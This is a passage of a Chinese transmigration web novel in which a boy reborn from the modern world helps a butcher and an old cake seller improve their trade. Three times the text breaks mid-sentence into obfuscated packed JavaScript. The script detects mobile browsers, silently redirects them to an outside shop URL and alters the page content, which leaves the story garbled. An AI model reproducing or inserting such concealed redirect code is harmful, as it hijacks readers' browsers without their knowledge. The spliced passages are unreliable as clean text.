有了这点猪油和猪油渣，起码这段时间的伙食不会太过难熬。柳安擦擦汗，心满意足地放好食材就去找铁头。 铁头和他爹正在盘算今日的收益，看到柳安来，也没有避嫌，大咧咧地将钱币丢在桌子上，将他爹今日留给柳安的肉递给他：“今日也是早早售罄，我爹说明日再多拿半条猪试试。” 柳安掂量出肉的重量有两三两，按照市价八十文一斤，怎么也有个二十文，只是这回肥肉多了些，下次得让他多给些瘦的。正准备说点奉承话，听到这句就一愣，连忙摇头：“别急，别急。” 铁头一听，赶紧呼唤他爹：“爹，狗子说不要进！”这神情，好像接到了圣旨一般。 孙屠户也连忙收好钱币，走过去，客气道：“狗子，你说说看。” ……这小名真的太难听了，什么时候他得找个德高望重的人给自己改改，起个“字”什么的，总不能当了店主别人还叫你狗掌柜。 柳安把肉放到一边才说：“在张家开店前，你们每日只卖一条猪，已经卖了几年，对不对？” 铁头连忙点头。 “那说明，附近居民每日能消耗的，也就着一条猪。” “可张记来了，他们每日也卖一条，我们虽然卖少了，也差不多卖了大半条……” “他们在金鱼池大街，可以吸引比我们更远一些的客人，但这些客人未必都愿意为了这一点点的优惠来我们这里。”柳安伸出十个手指，“假设如今你们两家合共吸引了十个客人，你五个，他五个，现在热门的对象变了，变成你七个他三个。如今你想多卖半条猪，势必要抢走他原来的客人，而且可能就是他仅存的三个客人，”柳安抬眼看向孙屠户，“你觉得他们能忍？” 孙屠户沉吟半晌，摇头：“今日张记已经开始学我们送猪血和猪骨头。” “他们想跟你们拼价格，你比我低一文，我比你再低一文，势必要将对方碾压出去才算罢休，”柳安又竖起十个指头，“只要你只卖一头猪，你就只是保持住原来一直在你家买的七个客人，即便你没法多赚一点，起码你不需要跟他一起降价，去抢那剩下的三人。而维护原来客人的方法，还是现在这些，你无需跟他竞价，只需要做好服务即可，时间久了，张记就会想办法自己拓展新的客人，他们也撑不住这样的赔本生意。这样，总计十个客人就会变成十一个，十二个，十三个……或者张家承受不住，出局。” 柳安没法跟他解释存量市场和增量市场的区别。 所谓存量市场，就是市场规模基本固定，增长空间有限，竞争主要集中在“瓜分现有用户”而非“开拓新用户”的市场状态。这样的市场需求下，蛋糕大小已经定型，想要多吃一口，只能从别人盘子里抢，核心是“抢份额”。原来柳安在的大厂就经常在后期为了抢存量市场的份额，跟对家打得头破血流，最后客户们笑嘻嘻，大厂筋疲力尽。 孙屠户不过是个小商贩，哪里来的底气进行价格战？ “你们现在赚的其实比以前多了，短期内想突破，就得付出更大代价，要是张记狗急跳墙，将那当官的亲戚请来坐镇，你们又该如何应对？” 孙屠户虽然没上过几天学，但他的比喻非常清晰明了，一下就悟了，只有铁头还在那里掰手指反复嘟囔。他大手一拍自己儿子的头：“回去好好学习！看你那蠢样！” 然后又朝柳安客气地笑了笑：“狗子晚上吃了没有？你婶子还留了碗猪杂，给你下点面？” 柳安腼腆笑笑，脚步却毫不犹豫地迈了进去。 9. 尝试新品 吃饭的时候，柳安问还在掰手指头算数的铁头：“你吃过一种叫肉松的东西吗？” “啥？啥肉松？”铁头一脸懵逼。 柳安本意是想从他这里打探做肉松生意的可能。虽然铁头也是平民百姓，但他出自猪肉世家，起码多少能知道些跟猪肉有关的产品吧？ “就是看起来毛茸茸的，吃起来就一根根的口感，但是猪肉做成的，像……像在吃棉被一样！”柳安费尽心思找到了一个合适的形容。 “哦……没有。”铁头干脆地摇头。 柳安眨眨眼，心里升起喜悦，那他要是把猪肉变成肉松，岂不是可以像其他穿越者一样，通过美食开始发家致富了？ 毕竟目前他掌握了一手货源，创业成本比普通人低！ “你说的是肉绒吧？”铁头娘在旁边缝缝补补，突然插了进来。 “肉，肉绒？”柳安僵住了。 “铁头一岁的时候，我让他爹弄了些来，软软的，正适合孩子吃。”铁头娘是家里最温和的人，也许孙屠户也知道自己看起来吓人，找了个温温软软的婆娘当老婆中和一下，看起来俩人感情还算和睦。估计也是因为她性子太软，镇不住铁头，才养了这么个大胖街头霸王出来。 “那肉绒是猪肉做的吗？好吃吗？”柳安不死心地追问。 “对，味道不错，城里那些公子哥儿小的时候都爱吃，酒楼食肆里也有卖的，拿来下酒也不错，但那种就粗了些。只是价格着实有些贵，铁头两岁就吃不到了。”铁头娘温温柔柔地说。 柳安被打击得干笑了两声，表示感谢提供信息。 特么的，别的穿越者一来，什么什么都是新鲜的，受欢迎的，老子一来，什么都有了，什么都上不了台面，什么都是别人玩剩的。 但卷王不愧是卷王，只一碗饭的功夫，就调整好了心态。 别人有又怎样，他只是想以物换钱，积累前期资本，这条路不是走不通，只是没那么赚钱而已。 第二日一早，柳安开始根据自己稀薄的记忆制作肉松。 一边回忆他一边吐槽：为什么其他穿越者能像打印机一样将所有的制作过程毫无偏差的回忆出来，而他，明明天天经过美真香，被广告视频洗脑过无数次，仍然无法完全回忆出所有的过程？ 脑子里只有几句“蒸煮炒制”，“慢火烘烤”，“原汁原味”（请给我打钱谢谢），以及厨子在小火炉前烘烤的身影。 凭借着这几个关键记忆，他从井边提了桶凉水，把昨天收到的瘦肉浸在水里，拔去血沫。 不多时捞出来，切成巴掌大的块，丢进滚水锅里，只加了两片姜去腥。煮到筷子能轻易戳透肉心，便捞出来沥干，摊在一旁晾到不烫手。 然后拿来昨天同样煮好的瘦肉，将这两块放一起。再取来一把从铁头家借来的薄刃小刀，先把肉皮和粘连的筋膜细细剔去——这剔下来的边角料都攒在小碟里，留着平时炒菜吃。 接着，他把净肉放进缺了个口的粗陶臼里，拿木杵慢慢捶捣。期间他试了好多次，发现力道得拿捏得准，重了会把肉纤维捶烂，轻了又撕不开。等捶到肉色发白，纤维松松散散，再把肉倒回案上，用手指顺着纹理撕成细丝。 这一步最费工夫，柳安撕得指尖发酸，才把二两多的瘦肉撕成满满一碟细细绒绒的肉丝，看着多，实则轻飘飘的，早没了刚出锅时的分量。 用来取暖的泥炉里，炭火被压得只剩一点余温，炉上煨着陶锅，柳安把肉丝倒进去，拿筷子轻轻翻搅。他用三次的失败经验验证了“慢火”的概念。最后发现炭压根就不能起火，否则一烤就焦。只借着炭火的暖意，把肉丝里的水分慢慢烘出来。 偶尔有细烟冒起，带着淡淡的肉香，飘到柳安的鼻腔里，香得他忍不住“试吃”了好几次。 约莫半个时辰，肉丝渐渐变得蓬松，捏在手里轻若无物，柳安这才停了手。 等肉绒彻底凉透，倒进提前买好的瓷罐里，封好。 一掂量，除去罐子的重量，最多一两，也就是说三两的瘦肉才能出一两的绒。 “这一斤不卖个两三百文都不赚钱。”柳安晃了晃，心算了下成本价：肉一斤八十，三斤肉出一斤肉松，人工炭火费怎么也要算个二十文，加起来成本就要二百七。加上利润，这样的东西，在市场上卖个三百二十文就比较合理。 拎着刚做好的肉绒，他高高兴兴去找铁头。 又是正好晚饭时间。 这回他一点不心虚，在铁头递肉给他的时候，一边拿出自己的肉绒，一边跨进他家的院门：“哎，来试试我刚做的肉绒。”空着的手还顺便掂量了下今天的分红：比昨天还重的肥猪肉。看来他昨天的建言让孙屠户更加看重自己，短时间内，肉绒的货源不会短缺。 一家人正准备开饭，铁头娘没有意外柳安的到来，顺势又加了一双筷子。 他们家并不反感柳安光明正大的蹭饭，这与柳安的高情商有很大关系。铁头作为孩子王，家里经常有荤菜，难免很多孩子来他家蹭饭。可谁也没有这孩子懂事收敛，不仅每顿饭只夹两筷子肉，其他配菜也吃得少，更别说只有半碗的米饭。对于孙屠户这样的收入，这点饭量根本没什么。更难得的，吃完饭他还自己收拾，帮忙洗碗，还教铁头学一个字。加上他对自己家生意的助力，铁头娘甚至希望他多来！ 至于他那不堪的出身，只要柳安不提，街头巷尾也没几个敢说他们家闲话的。 只有柳安知道，当下的含蓄，是为了以后的可持续性发展。今天吃撑了，明天就得饿着，细水长流才是蹭饭的最高境界。就好像他薅公司羊毛一样……咳，不能多说。 至于认字，他前两天已经在旧书摊上花三文钱买了一本《三字经》，凭借着从前对繁体字的认识，他开始学习繁体字的写法，然后借着教铁头认字的机会，又拿他们家的笔墨纸砚来练，争取尽快脱离文盲的队伍。 柳安就是要把薅羊毛变成皆大欢喜的事情。 就像现在，他大方地从瓷罐里夹出一大筷子的肉绒，放在碟子上，在众人惊艳的目光中，坦然道：“这是我拿孙叔您给的肉做的肉绒，大家试试。” 铁头迫不及待试了一口。 口感松软鲜香，是平日里吃肉吃不到的口感，香味却更浓郁。“好吃！”铁头又想夹一筷子，被老爹打掉了手。父母二人一人一筷，铁头娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271756|198132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃着吃着，站起身到厨房里拿了一小勺盐，轻轻洒在上面：“再试试。” 另外三人全都伸筷子。 “嗯嗯！更好吃了！”头脑简单四肢发达的铁头只能用大声来表示自己的激动。 柳安也点头。确实是要加盐。他居然忘了。 “这东西好，你打算拿来卖？”孙屠户很快猜出他的想法。 “哎，您给的肉我一个人吃不完，就想着拿来做点好保存的。昨天婶子教我说有种叫肉绒的东西，我就做了试试看。”他恰到好处地露出一副羞赧的表情，“这东西非常费劲，一天也就只能做一罐，靠他挣大钱不可能，但是，起码能养活我自己……” 柳安确实也是这样想的。他原以为这东西只要走量，就能成为自己的翻身途径。可路上琢磨了半天，还是推翻了这个想法。 这个肉松全靠人力，烘烤也需要很仔细，量一多就做不好，一人一天撑死做一到两罐。是个有收入天花板的东西，即便他不眠不休一年三百六五天都出货，也就是七百罐，撇去成本，总利润可能也就是五六十两。而为了这五六十两，他要牺牲的是自己探索其他发财途径的时间。 完全不划算。 柳安对自己很有信心。他不相信能在人才济济的大厂卷出年度优秀员工的自己，凭借自己的眼界，自己的勤快，自己的智慧，还不能卷出新的天地？ 孙屠户点点头：“是个好东西，外头怎么也要买个两百多文一罐，你要是想做大，我可以介绍珍宝斋给你……” “不不不，孙叔我没这本事，”柳安连忙摆手，“每天才一罐，珍宝斋看不上眼的，就不浪费您的人脉了！” 如此懂事，孙屠户的神色都慈祥许多：“你是想我以后尽量给你分一些这种可以做肉绒的肉，是这个意思吗？” 柳安不好意思地摸摸头，一副被大人看穿把戏的羞赧模样。 论演技，每天捧领导臭脚的人不可能差。 他走这一遭，就是让自己的生意在孙屠户这里过了明路。拿着人家分的肉去作别的生意，赚更多的钱，要是不说清楚，对方觉得不得劲，以后换成别的部位，那他真是有理说不清。 不分钱只分肉是他们一早定下的规矩，如今生意红火，孙屠户不给钱，自己又天天来蹭饭，对方难免不会担心自己想要钱，心里也会别扭，还不如直接就摆明了自己以后就不要钱只要肉的想法。 皆大欢喜。 孙屠户也确实是欢喜的。欢喜这个孩子如此聪慧，还懂事，原来还担心他出身卑贱，带坏自己家本就不争气的笨儿子，没想到现在儿子在他的带领下，逐渐识字，还有了学习的榜样。 “你放心，该给你的，我绝不会少，你有什么紧急的事情，也可以找我。”他毫不担心自己做出的承诺会被这孩子滥用。 一个人贪不贪心，从细枝末节中就能看出。 又得了一个又大又多油的保护伞，柳安喜滋滋地捧着肉绒罐子回家了——里面少了一半，这是他特意留给铁头的“零嘴”。 肉绒这东西好保存，放一个月都不会变质，他做好五六罐再拿去集市售卖，就无需通过寄卖被人瓜分销售利润了。 10. 新的目标 心里盘算着去集市的事情，快走到家门口，就听到隔壁卖桂花糕的刘家传来打骂声：“你这老虔婆，天天在外面卖糕也卖不出多少钱，家里的孩子你带不了就算了，连挣钱都挣不了！就知道在我家里赖吃赖喝，还偷文哥儿的糖！你咋不噎死呢！”女人尖锐的声音在夜里尤为刺耳。 “我没有偷，是文哥儿给我的！”老太婆的声音又急又气。 “文哥儿给你你就要了？要不要脸啊你！卖了一天才拿回十来文钱，自己的饭钱都没挣够呢！天天吃你那破糕我都吃腻了！” 接着又是一阵破口大骂。 柳安眨眨眼。 对面住的是刘记糕点铺一家，每天只见一个老太婆在外面卖糕。那生意说好不好说坏不坏，偶尔都有人来买，但是到了天黑，总是留了许多在锅里。 前两天柳安还去尝过，东西是真材实料，糯米粉也磨得细，桂花糖渍得香，蒸出来白糯香甜。只是，整条南曲巷卖糕点的就有三四家，什么栗子糕、芝麻糕都是现做现卖，各有特色，吃多了味道其实也差不多。 刘记的糕卖的年份最久，价格虽然与其他家一样，但估计大家都吃腻了，买谁家都差不多。这让柳安想起他在现代做产品推广的时候，就遇到过中式糕点连锁店爆发期。刚开的第一家，那叫人山人海彩旗飘飘，排队的黄牛甚至可以把代排的号码卖出一百的价格。结果这家店只活了不到两年，就在诸侯的围攻下，自尽而亡。 只有杀到最后一家店的时候，市场才回归理性，也回归到商品需求量的正常值。 糕点类到底不是面点、米饭这样的日常刚需，对普通百姓来说，那是情绪消费，兴头来了才买一份，但你每日必须做够这么多，否则需求突然爆发的时候，又赚不到了。 柳安心想，刘记的亏本就亏在商品新鲜感差，加上守摊婆子沉默寡言，从不吆喝，糕点就用灰扑扑的蒸笼布盖着，等客上门，带不来一点消费的冲动。这也是古代地摊生意的常态——吆喝的都是年轻人，老年人仿佛被时光压住了所有的欲望，只剩过一日算一日的沉默。 他摇摇头。这问题普通人解不了。 正准备推门回家，就听到对面的战争升级，女人的尖锐叫骂，男人懦弱的劝慰，老太婆的哭天抢地，孩童的啼哭。隔着院墙都能感受到那里面宛如世界大战的场面。 他的脚步顿了下，忍不住叹了口气。 谁让自己不是普通人呢？ 老吾老以及人之老，这是他这个现代人从小被刻在骨髓里的教育理念，穿过来，这里孝道也是很重的，就更不可能对刘婆子的窘境视而不见。 第二天天色刚蒙蒙亮，柳安就背着手，溜溜达达地出了门。 南曲巷的早市已经热闹起来，碎石子路被摊贩们用水泼湿，压住了飞扬的尘土。摊贩的吆喝声、车轮碾过路面的轱辘声、房屋院落里的洗漱烹饪声，织成南曲巷的烟火气。 刘家门口有棵老槐树，支着个三尺来宽的木摊，木摊的案板擦得很干净，上头摆着个青瓷盘，盘里码着切成方块的桂花糕。糕体雪白雪白的，表层撒了一层金灿灿的干桂花，像落了满地的碎金。 刘婆子正在矮脚小炉后忙碌，炉上坐一口陶锅，锅里蒸着屉桂花糕，笼屉盖一掀开，甜丝丝的桂香混着米香，一下子飘出老远。热气袅袅腾起，甜香明明飘得远，却没几个人驻足。婆子攥着竹铲的手有些发僵，隔一会儿就扯着沙哑的嗓子喊一声：“桂花糕，一文钱一块……” 声音被旁边卖炊饼、卖糖粥的吆喝盖过去，行人脚步匆匆，顶多瞥一眼，就忙着赶去买热乎的吃食了。 如此诱人的桂花糕，看得柳安直流口水，可他蹲在摊子斜对面看了一个时辰，早市最热闹的时段已经过去了，刘婆子只卖掉了两笼半的量。 按照这个速度，剩下的两笼半只怕到了天黑也卖不完，毕竟会把桂花糕当午餐晚餐的人少之又少。 他远远看着刘婆子坐在那里，面无表情地反复擦拭着蒸笼和案板，于是走过去，掏出一文钱放在案板上：“来一块桂花糕。” 刘婆子虽然认出他是隔壁的狗子，表情也没有变，拿竹铲将一块糕挖起放到油纸上，递给他，连句客套话都没有。 ……这服务态度能吸引客人才有鬼了。柳安咬了口桂花糕，又甜又软，还有一点桂花香味，确实是好吃的，就是这死人脸让他有点犹豫到底要不要帮。 可别变成了东郭先生与狼。 只是他刚穿越过来，又是社会底层，心里还是想着要与周围邻居交好。婆子年纪也大了，天天被人这么打骂实在不像话，吃完最后一口桂花糕后，还是顶着一张人畜无害的笑脸，用最天真无邪的语气说：“婆子，你的糕好香。” 刘婆子眼皮子掀起来一点，虽然奉承话让她舒心不少，但对着这个上不了台面的邻居，她的态度极为冷淡：“想吃就来买。” “我看你经常卖不完，要不卖不完的送我？”柳安嬉皮笑脸地说。 果然惹怒了老太婆：“谁说我卖不完，就算卖不完也不送你，我家囡囡都吃不够！” “囡囡昨天还哭着说不想吃了。”柳安继续往她心口上撒盐。 刘婆子气得瞪圆了眼看向他：“你吃完就走，别来妨碍我做生意……” “你这算什么做生意？脸色比棺材板还黑，吆喝声比蚊子还小，谁来你家买东西都好像欠了钱似的，”柳安撇撇嘴，跟这种人就不能客气，越客气她越瞧不上你，“你瞧不上我，我还瞧不上你这点塞牙缝的东西，前两天我帮孙屠户卖肉，人家天天给我分猪腿肉，我吃肉都吃饱了。” 刘婆子一愣，孙屠户家突然变好的生意他们都看在眼里，小孩之间传说是柳安帮忙招的财，大人们都以为是笑话，可现在这小子又说孙屠户给他分了肉，那……是真的？ “你给孙屠户说了什么？”刘婆子压低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271757|198132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了声音问，已经不去追究这小子出言不逊的问题。毕竟在他们眼里，这个从三岁开始就到处晃荡的小孩就是个顽劣孩童，能让他讲究什么礼法，那简直是笑话。 柳安双手抱胸：“秘密。” 气得刘婆子伸手想揍他，手扬起来一半又变成轻轻地在他肩头一拍：“你这孩子，都是街坊邻居，有什么不能说的！” “说了你也不能照着做，你卖的东西和他卖的能一样吗？”柳安挑眉，“反正我有办法能让你们生意变好，但是嘛……” 刘婆子老而浑浊的眼睛亮了起来，她赶紧又切下一块糕，递给他：“一边吃一边说。” 还是有点悟性。 柳安拉来她的坐凳坐下，一边吃糕，一边慢吞吞地说：“你把这糕全给我吧，我来卖。” 刘婆子皱眉。说实话，她压根不信眼前这个又黑又瘦，头发枯黄的小屁孩能帮孙屠户卖肉，她只是想打听最近孙屠户到底做了什么，让生意突然转好。 “你可别瞎添乱，我一天饭钱就靠这个了。”她还是不敢赌。昨日媳妇的打骂还历历在目，今日卖的比昨日还差，她心里已经压了块大石头。 柳安当然想得到她会拒绝。没有看到真正的来钱，谁会相信一个八岁孩童？ 他看了眼蒸桂花糕的蒸笼，一笼完整的有十六块，也就是一笼十六文。卖完五笼，一天收益就是八十文，可大多数时间都卖不完，这意味着她就收不到八十文。只要他帮她以最少的损失卖完，并且早早收摊，都算是赚了。 “这样吧，我先给你十文钱，算是押金，糕还放你的蒸笼里，然后我来卖，”柳安掏出自己的创业基金——这段时间云娘给的伙食费积攒出来的全部家底，摆在刘婆子面前，“不过丑话说在前面，现在过了早市，你这剩下的糕已经不值一文钱一块了，剩下的我按三十文给你，你愿不愿意？” 刘婆子数了数剩下的数量，还有三十八块。按照往日的速度，可能到晚市都未必能卖完最后一笼。现在连早市都还没完全结束，只损失八文钱，还能早早收摊回去干点别的活，算起来也不太亏。“三十二……” “爱卖不卖。你看看谁来帮你。”柳安翻了个白眼。 刘婆子连忙闭嘴，收下他手中的十文钱，。就算他是在淘气，糕还在锅里，自己怎么也不会亏。当即从下面端出一笼还没分卖出去的糕，递给他。 就见柳安从怀里掏出最后一枚铜钱，擦了擦，便往其中一块的底部塞进去。因为糕体松软，塞完了再稍微整一下型，从上面根本看不出来有动过的痕迹。 刘婆子愣了下，正想说什么，就见着瘦猴般的孩子朝人群吆喝：“哎，限时活动啊，限时活动，这桂花糕一文一块，但你可能吃了不用付钱啊！” 虽然过了早市高峰，街上来来往往的人还是很多，大家都准备上工，听到这稀奇的吆喝，就算是吃过早饭的人都忍不住停下脚步过来看热闹。 11. 哦卖糕 小孩，你别唬人啊，真吃了不付钱？”有人问。 “我说可能，这就看你运气了。”柳安嬉笑道，“这三笼桂花糕里，塞了三枚铜钱，谁要吃到塞了钱的糕，那不就是不要钱了？” “那要是你没塞呢？”也有人不信，“大家都买走了，没有一个人吃到也没法证明你说了谎啊。”还是有精明的，看来是吃过类似的亏。 柳安朝他比了比大拇指，不但不生气，还很捧场地夸赞：“这位郎君真聪明，你说的情况确实有人会这样做，但我不会，而且我会现场揭晓答案，你自己选好一块，翻过来就能看到有没有中奖，当场直接带走。中奖的人就当今日我请他吃早饭了。” “狗子，你这是替刘婆子卖糕，还是请我们吃饭啊？”有认得他的，打趣道。 “哈哈，你们可以只看热闹，错过了那就别后悔！这里一笼就一枚，先买的人就有最多的选择，不过要是含了铜钱的那份被人买走了，我就把其他笼的随机补进去。只要来买，都有可能会中奖！” “要是那三枚都被人买走了呢？” “就算没放钱，这么香的桂花糕你们都不想来尝尝吗？”柳安挤眉弄眼，引来众人哄笑。 情绪价值给到位，又有趣，本来还想去其他地方吃早点的人都走过来要了一块。 在柳安有意引导的起哄声中，每个买了桂花糕的人都当众翻开底部。在第四个顾客翻到明显埋了铜钱的那块，当众取出时，大伙都发出了庆贺的喝彩声，那人身居其中，脸上得意之色仿佛自己中的不是一枚铜钱，而是一两银子。 眼看真有人中奖，许多本来吃了早饭的人也跃跃欲试，想要成为第二个被当众认证的幸运儿，于是第一笼很快卖光，刘婆子在柳安的催促声中，有些呆愣地打开第二笼。 这小子没有放第二枚铜钱啊？要是被发现怎么办？ “婆子你太慢了，你来帮我收钱，我来包。”柳安突然出声。 “啊？哦，哦。”刘婆子只好跟他换位置。 换完位置，柳安就位于蒸笼后了，在将那半笼糕点补充进第二笼的时候，他趁机往放在最上面的一块糕点里塞进铜钱，然后若无其事地盖上蒸笼。 下一位上来买糕的人在他打开蒸笼的时候，半眯着眼准备挑选，很快就发现了那块糕点似乎被动了手脚，难掩兴奋地说：“那块，就那块！” 柳安故意露出一副肉疼的神色，还低低地“啧”了一声，围观众人立刻意识到可能又有人中奖了，气氛更是热烈。“中没中？”有人大声问那个顾客。 那顾客得意洋洋地翻过来，果然嵌入了一枚铜钱。 又是一声欢呼。 只有刘婆子一脸懵，什么时候放的？ “还剩一枚！”柳安大喊。 本来只是饱腹的食物，在他的炒作下，变成了彩票。一文钱不多，可一日之初能有这样的好彩头，人人都想来试试，顿时排队的人更多了。有的要三块，有的甚至要四块，锅里仅剩十二块，也就是只有五个客人还能买到。柳安摆摆手：“这样吧，五位爷都想知道自己能不能买到好彩头，要是有人先买走了，剩下的买了也没意思，不如我把这糕打包好放在桌上，五位爷同时开奖，如何？” “好！”已经看上瘾的众人都赞同，五位客人本就是想被围观，当然不会拒绝。 于是五份桂花糕被装到油纸包里，放到了桌上。 五人紧张地取过自己那份，一个个糕拿出来观察。 “我！我！是我！”买了四块的那人尖叫着举起手中桂花糕，仿佛自己是世界上最幸运的人，完全忘了自己为此花了四文钱。 大家欢呼又大笑，热闹得整个南曲巷的人都围过来了。 刘婆子还是一脸懵。这，就卖光了？ 热闹持续了好一会才散尽，柳安拿过刘婆子手里用来装钱的竹箩，数出二十枚铜钱，递给她，然后把里面剩下的五枚倒到手心，掂量了一下，得意地塞进胸前的口袋里。 三十八块糕全部卖光，送出去三文，剩下三十五文。原先已经给了刘婆子十文，现在补上二十文，自己半个时辰净赚五文。 这好事儿真想多干几次。可惜…… 刘婆子脑子都快烧干了也没想明白，又直勾勾盯着他的钱袋满脸不舍。怎么就这么快卖完了呢？怎么就让他白赚了五文钱呢？ “现在相信了吗？”柳安挑眉，嘚瑟得很。 刘婆子许久没有卖得这么爽快，虽说比全部卖完少赚了些，可平时最后一笼总是剩了大半，家里人也都吃腻了，亏掉的钱也不止这八文。现在她还能赶回去干点别的活计，缝缝补补什么的，算下来一日还能赚多几文。 “狗子，你看……”她尴尬地搓手笑，想说些好话，又拉不下老脸。让她一个年长的和一个小孩儿道歉，实在是难过这心理关。 柳安也不计较她之前的冒犯，他帮她，本来也不图对方知恩图报或者什么，他要的是整条街都能看到他的才华，然后慢慢地跟着自己一起挣钱，摆脱这底层互害的生存陷阱。于是摆摆手说：“你要是想挣钱，这两天得全听我的。只看你愿不愿意？” 今日狠狠打脸媳妇不说，还能再偷偷存上点私房钱，刘婆子已经完全相信他就是财神爷，八岁有什么关系，就是刚出生，能给她挣多点钱，那也是财神！ “小狗子，你还有什么办法？要婆子做些什么？”刘婆子很是心动，要是每天挣这么多，她媳妇还会有底气跟自己吆五喝六吗？再存点当做自己的养老钱，等她老了，也不再那么害怕儿子不孝顺了。 又收获一个追随者，柳安心满意足，但他没打算马上回答，只露出高深莫测的笑容：“你先等着，我先想想。”临走前又扔下一句话：“明日你正常卖糕，今日的活动不能再做。” 不能再在这里继续耗时间了。在今日的屎意即将到达前，他得赶紧拿着这钱去买草纸，先买个十张（四文）！这段日子天天吃肉，油水多了那啥就多，那啥多了受罪也多，再不买草纸他就要疯了！ 可恶，等以后挣了钱，他用一刀垫一刀！还要青石板砖铺满整个茅房！

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271758|198132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 第二日，云娘回到家，刚推开门就看到桌上摆着的早饭：一块桂花糕，旁边还有一小撮肉绒，碗里的稀粥冒着热气。 “安儿，你还没吃早饭吗？”云娘奇怪地看向正在床上双手环胸，低头不知在思考着什么的儿子。 “吃了，这是给娘你留的。”柳安头也不抬，还沉浸在思考中。 所以他完全没看到柳娘错愕的神情。 “给我的？”云娘不敢相信，儿子竟然连她的早饭都准备好了。尤其是那肉绒，就算是在青楼里，肉绒这种东西就算客人吃不完，也轮不到她们，龟公会早早将其回收，烘干后又留给下一个客人。 “这东西你……你哪来的？”她用筷子夹起一点，细细的，松松的，虽然比不上楼里那些品质，但看起来也还可以。 “我自己做的。用你上次看到的肉。”柳安内心不觉得这是什么大不了的事情，他在思考接下来该如何拓展自己的收入来源。 “你竟然会做肉绒？”云娘又一次惊讶。 柳安被她接二连三的打断，终于抬头看向她，见那表情，好像有点不敢相信这是自己的儿子。那他确实不是她的儿子，这可不能穿帮了。于是连忙安抚：“娘，我长大了，也在外头跟那些人认识了些字，我有我的生存之道。你不必再像以前那样担心，我们的日子只会越来越好。” 云娘盯着他，这些日子以来他的坦诚和亲近让她逐渐有了当娘的实质感。想要守护孩子的心逐渐又热烈起来，但那点激情澎湃还没燃起，很快又被现实压下了嘴角：“安哥儿，你知不知道……我们……不是良民。” 柳安眨眨眼。他当然知道，要不他那么努力挣钱干嘛？以他的实际年龄和阅历，走科举的道路显然更容易。毕竟在这个权利当道的时代，就算是商人也是低贱的存在。 做个有钱的贱籍就能赎身，然后买个小官，当个隐居地主，偏安一隅地生活，找个漂亮的小哥儿度过这一生。他穿越的任务就算完成了。 “你可以去做学徒，做小摊子，这没什么……是娘连累了你……”云娘开始垂泪。 “娘，我挣很多钱把你赎身不就行了吗？”柳安不以为然。有钱能使鬼推磨，在什么时代都行得通，等他们转了良籍，搬去一个没人认识的地方，他想怎么潇洒就怎么潇洒。 云娘笑中带泪：“你若是想做大掌柜，旁人提起你的出身，如何信得了你？若是有贵人相帮还行，但，娘无用……娘怕是只能埋骨在此了……” “我自然会有我挣钱的办法，娘你放心，你看我帮了孙屠户挣钱，哪个人还敢把贱字挂在嘴边？”柳安到现在还非常轻松。作为现代人，他从没有被等级制度困住思维。 “春华楼如今生意惨淡，娘怕，娘怕护不了你太久……”云娘终于说出了心里最深的恐惧，她捂住脸，哭得绝望。 好不容易感受到母慈子孝的快乐，但头上那把刀，眼看着就要掉下来。她怎么忍心看着自己的孩子跟自己一样再入泥沼！ 柳安如遭雷击，开始挣钱的喜悦消散殆尽。